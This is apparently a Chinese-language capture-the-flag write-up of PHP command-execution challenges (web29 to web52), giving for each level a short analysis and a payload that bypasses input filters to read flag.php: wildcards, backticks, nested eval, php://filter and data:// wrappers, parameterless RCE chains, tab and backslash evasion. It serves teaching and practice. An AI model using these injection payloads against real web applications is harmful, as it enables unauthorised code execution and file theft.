命令执行入门
web29
思路分析
1.常规命令执行漏洞,通过控制输入变量c,借助eval函数实现RCE的目的。
2.题目过滤掉了flag,可以通过通配符绕过。
3.考虑传入system执行系统命令,借助通配符绕过正则匹配。
4.payload:?c=system(‘tac fla*’);
web30
思路分析
1.在上题的基础上增加了更多过滤,无法借助system执行系统命令。
2.借助反引号执行系统命令,拼接echo命令,达到RCE的目的
3.payload:?c=echo `tac fla*`;
web 31
思路分析
1.在上题的基础上过滤了空格,无法使用传统的RCE技巧。
2.拼接eval命令,进行逃逸
3.payload:?c=eval($_GET[a]);&a=system(‘tac flag.php’);
4.解释:输入变量c,c接收的是get变量a的执行结果,我们对变量a拼接RCE命令即可逃逸对c的过滤,达到RCE的目的。
web 32
思路分析
1.分号被过滤,无法使用上题的技巧。
2.考虑include,php中include一个文件,如果文件是php格式则会被按照php解析执行,我们想得到文件中的内容,考虑借助php协议中的过滤器。
3.过滤分号,php代码中最后一行的语句可以以?>结束而不以分号结束。
4.payload:?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php得到的是文件的base64编码,借助工具解码后得到flag
web 37
思路分析
1.采用data伪协议进行RCE
2.payload:?c=data://text/plain,<?php system('tac fla*');?>
web 38
思路分析
1.在上题的基础上过滤了php,考虑使用php短标签绕过。
2.payload:?c=data://text/plain,<?= system('tac fla*');?>
web 40(无参RCE)
思路分析
1.过滤掉了无数内容,考虑使用无参RCE
2.前备知识:(1).PHP localeconv()函数
(2).?c=var_dump(localeconv());
我们真正需要的是第一个.目的是配合scandir进行目录遍历,下一步考虑获得.
(3).current()
(4).?c=var_dump(current(localeconv()));
成功获得.配合scandir进行目录遍历。
(5).?c=var_dump(scandir(current(localeconv())));
成功实现目录遍历,下一步考虑直接读取flag文件。
(6).使用array_reverse()函数使目录翻转。
?c=var_dump(array_reverse(scandir(current(localeconv()))));
flag文件来到了从前到后第二个的位置。
(7).next指针获取第二个文件位置
?c=var_dump(next(array_reverse(scandir(current(localeconv())))));
(8).读取flag文件
?c=show_source(next(array_reverse(scandir(current(localeconv())))));
web 41
(异或无参RCE)
web42
思路分析
1.这次后面多了一个" >/dev/null 2>&1"语句,意思是写入的内容会永远消失,也就是不进行回显。
2.考虑用管道符分割。
3.payload:?c=tac fl*;
web 43
思路分析
1.与之前相比,过滤了分号,cat
2.考虑分号除外其他的管道符绕过
3.payload:?c=tac flag*||
web 45
思路分析
1.与之前相比多过滤了空格
2.考虑用%09绕过空格
3.payload:?c=tac%09fl*||
web 46
思路分析
1.与之前相比,过滤掉了*无法使用之前通配符的方法绕过对flag的过滤。
2.考虑采用?单个匹配
3.payload:?c=tac%09fla?.php||
web 50
payload:?c=tac<>fla\g.php||
web 51
思路分析
1.增加了对tac的过滤
2.考虑用\分割绕过
3.payload:?c=t\ac<>fla\g.php||
web 52
(未完待续)